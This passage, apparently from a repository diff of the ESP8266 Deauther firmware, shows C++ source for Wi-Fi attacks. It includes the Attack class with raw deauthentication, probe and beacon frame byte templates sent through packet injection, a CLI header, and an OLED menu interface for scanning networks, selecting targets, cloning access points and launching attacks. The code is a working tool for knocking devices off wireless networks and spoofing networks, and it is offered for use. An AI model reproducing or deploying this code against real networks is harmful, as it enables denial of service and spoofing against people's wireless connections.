if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
// try again until it's sent out
|
||||
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) tmpPacketRate++;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
||||
207
enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h
Executable file
207
enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h
Executable file
@@ -0,0 +1,207 @@
|
||||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern Settings settings;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
||||
|
||||
bool isRunning();
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint32_t getPacketRate();
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
|
||||
void updateCounter();
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
|
||||
#endif // ifndef Attack_h
|
||||
1173
enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp
Executable file
1173
enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp
Executable file
File diff suppressed because it is too large
Load Diff
95
enp8266/esp8266_deauther-master/esp8266_deauther/CLI.h
Executable file
95
enp8266/esp8266_deauther-master/esp8266_deauther/CLI.h
Executable file
@@ -0,0 +1,95 @@
|
||||
#ifndef CLI_h
|
||||
#define CLI_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "LED.h"
|
||||
|
||||
extern LED led;
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
extern void printWifiStatus();
|
||||
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
||||
extern void wifiUpdate();
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
|
||||
#endif // ifndef CLI_h
|
||||
893
enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp
Executable file
893
enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp
Executable file
@@ -0,0 +1,893 @@
|
||||
#include "DisplayUI.h"
|
||||
|
||||
// ===== adjustable ===== //
|
||||
void DisplayUI::configInit() {
|
||||
// initialize display
|
||||
display.init();
|
||||
|
||||
/*
|
||||
In case of a compiler (conversion char/uint8_t) error,
|
||||
make sure to have version 4 of the display library installed
|
||||
https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0
|
||||
*/
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
|
||||
display.setContrast(255);
|
||||
|
||||
#ifndef FLIP_DIPLAY
|
||||
display.flipScreenVertically();
|
||||
#endif // ifndef FLIP_DIPLAY
|
||||
|
||||
display.clear();
|
||||
display.display();
|
||||
}
|
||||
|
||||
void DisplayUI::configOn() {
|
||||
display.displayOn();
|
||||
}
|
||||
|
||||
void DisplayUI::configOff() {
|
||||
display.displayOff();
|
||||
}
|
||||
|
||||
void DisplayUI::updatePrefix() {
|
||||
display.clear();
|
||||
}
|
||||
|
||||
void DisplayUI::updateSuffix() {
|
||||
display.display();
|
||||
}
|
||||
|
||||
void DisplayUI::drawString(int x, int y, String str) {
|
||||
display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK)));
|
||||
}
|
||||
|
||||
void DisplayUI::drawString(int row, String str) {
|
||||
drawString(0, row * lineHeight, str);
|
||||
}
|
||||
|
||||
void DisplayUI::drawLine(int x1, int y1, int x2, int y2) {
|
||||
display.drawLine(x1, y1, x2, y2);
|
||||
}
|
||||
|
||||
// ====================== //
|
||||
|
||||
|
||||
DisplayUI::DisplayUI() {}
|
||||
|
||||
DisplayUI::~DisplayUI() {}
|
||||
|
||||
|
||||
void DisplayUI::setup() {
|
||||
configInit();
|
||||
setupButtons();
|
||||
buttonTime = currentTime;
|
||||
|
||||
clockHour = random(12);
|
||||
clockMinute = random(60);
|
||||
|
||||
// ===== MENUS ===== //
|
||||
|
||||
// MAIN MENU
|
||||
createMenu(&mainMenu, NULL, [this]() {
|
||||
addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN
|
||||
addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW
|
||||
addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK
|
||||
addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR
|
||||
scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);
|
||||
mode = DISPLAY_MODE::PACKETMONITOR;
|
||||
});
|
||||
|
||||
addMenuNode(&mainMenu, D_CLOCK, [this]() { // PACKET MONITOR
|
||||
mode = DISPLAY_MODE::CLOCK;
|
||||
display.setFont(ArialMT_Plain_24);
|
||||
display.setTextAlignment(TEXT_ALIGN_CENTER);
|
||||
});
|
||||
|
||||
#ifdef HIGHLIGHT_LED
|
||||
addMenuNode(&mainMenu, D_LED, [this]() { // LED
|
||||
highlightLED = !highlightLED;
|
||||
digitalWrite(HIGHLIGHT_LED, highlightLED);
|
||||
});
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
});
|
||||
|
||||
// SCAN MENU
|
||||
createMenu(&scanMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST
|
||||
scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP
|
||||
scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST
|
||||
scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
});
|
||||
|
||||
// SHOW MENU
|
||||
createMenu(&showMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0]
|
||||
return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1);
|
||||
}, &apListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // Stations 0 [0]
|
||||
return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1);
|
||||
}, &stationListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // Names 0 [0]
|
||||
return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1);
|
||||
}, &nameListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // SSIDs 0
|
||||
return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1);
|
||||
}, &ssidListMenu);
|
||||
});
|
||||
|
||||
// AP LIST MENU
|
||||
createMenu(&apListMenu, &showMenu, [this]() {
|
||||
// add APs to list
|
||||
int c = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&apListMenu, [i]() {
|
||||
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
|
||||
}, [this, i]() {
|
||||
accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&apMenu);
|
||||
});
|
||||
}
|
||||
addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
accesspoints.selectAll();
|
||||
changeMenu(&apListMenu);
|
||||
});
|
||||
addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
accesspoints.deselectAll();
|
||||
changeMenu(&apListMenu);
|
||||
});
|
||||
addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
accesspoints.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// STATION LIST MENU
|
||||
createMenu(&stationListMenu, &showMenu, [this]() {
|
||||
// add stations to list
|
||||
int c = stations.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&stationListMenu, [i]() {
|
||||
return b2a(stations.getSelected(i)) +
|
||||
(stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
|
||||
}, [this, i]() {
|
||||
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&stationMenu);
|
||||
});
|
||||
}
|
||||
|
||||
addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
stations.selectAll();
|
||||
changeMenu(&stationListMenu);
|
||||
});
|
||||
addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
stations.deselectAll();
|
||||
changeMenu(&stationListMenu);
|
||||
});
|
||||
addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
stations.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// NAME LIST MENU
|
||||
createMenu(&nameListMenu, &showMenu, [this]() {
|
||||
// add device names to list
|
||||
int c = names.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&nameListMenu, [i]() {
|
||||
return names.getSelectedStr(i) + names.getName(i);
|
||||
}, [this, i]() {
|
||||
names.getSelected(i) ? names.deselect(i) : names.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&nameMenu);
|
||||
});
|
||||
}
|
||||
addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
names.selectAll();
|
||||
changeMenu(&nameListMenu);
|
||||
});
|
||||
addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
names.deselectAll();
|
||||
changeMenu(&nameListMenu);
|
||||
});
|
||||
addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
names.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// SSID LIST MENU
|
||||
createMenu(&ssidListMenu, &showMenu, [this]() {
|
||||
addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs
|
||||
ssids.cloneSelected(true);
|
||||
changeMenu(&ssidListMenu);
|
||||
ssids.save(false);
|
||||
});
|
||||
addMenuNode(&ssidListMenu, [this]() {
|
||||
return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE
|
||||
}, [this]() {
|
||||
if (ssids.getRandom()) ssids.disableRandom();
|
||||
else ssids.enableRandom(10);
|
||||
changeMenu(&ssidListMenu);
|
||||
});
|
||||
|
||||
// add ssids to list
|
||||
int c = ssids.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&ssidListMenu, [i]() {
|
||||
return ssids.getName(i).substring(0, ssids.getLen(i));
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&ssidMenu);
|
||||
}, [this, i]() {
|
||||
ssids.remove(i);
|
||||
changeMenu(&ssidListMenu);
|
||||
ssidListMenu.selected = i;
|
||||
});
|
||||
}
|
||||
|
||||
addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
ssids.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// AP MENU
|
||||
createMenu(&apMenu, &apListMenu, [this]() {
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // *<ssid>
|
||||
}, [this]() {
|
||||
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
|
||||
});
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);
|
||||
}, NULL); // Encryption: -/WPA2
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);
|
||||
}, NULL); // RSSI: -90
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);
|
||||
}, NULL); // Channel: 11
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);
|
||||
}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
|
||||
});
|
||||
addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE
|
||||
ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);
|
||||
changeMenu(&showMenu);
|
||||
ssids.save(false);
|
||||
});
|
||||
addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE
|
||||
accesspoints.remove(selectedID);
|
||||
apListMenu.list->remove(apListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// STATION MENU
|
||||
createMenu(&stationMenu, &stationListMenu, [this]() {
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getSelectedStr(selectedID) +
|
||||
(stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station
|
||||
// name>
|
||||
}, [this]() {
|
||||
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
|
||||
});
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_VENDOR) + stations.getVendorStr(selectedID);
|
||||
}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
|
||||
}, [this]() {
|
||||
int apID = accesspoints.find(stations.getAP(selectedID));
|
||||
|
||||
if (apID >= 0) {
|
||||
selectedID = apID;
|
||||
changeMenu(&apMenu);
|
||||
}
|
||||
});
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_PKTS) + String(*stations.getPkts(selectedID));
|
||||
}, NULL); // Pkts: 12
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_CHANNEL) + String(stations.getCh(selectedID));
|
||||
}, NULL); // Channel: 11
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_SEEN) + stations.getTimeStr(selectedID);
|
||||
}, NULL); // Seen: <1min
|
||||
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
|
||||
});
|
||||
addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE
|
||||
stations.remove(selectedID);
|
||||
stationListMenu.list->remove(stationListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// NAME MENU
|
||||
createMenu(&nameMenu, &nameListMenu, [this]() {
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>
|
||||
}, [this]() {
|
||||
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
|
||||
});
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_VENDOR) + names.getVendorStr(selectedID);
|
||||
}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_AP) + names.getBssidStr(selectedID);
|
||||
}, NULL); // AP: 00:11:22:00:11:22
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_CHANNEL) + (String)names.getCh(selectedID);
|
||||
}, NULL); // Channel: 11
|
||||
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
|
||||
});
|
||||
addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE
|
||||
names.remove(selectedID);
|
||||
nameListMenu.list->remove(nameListMenu.selected);
|
||||
goBack();
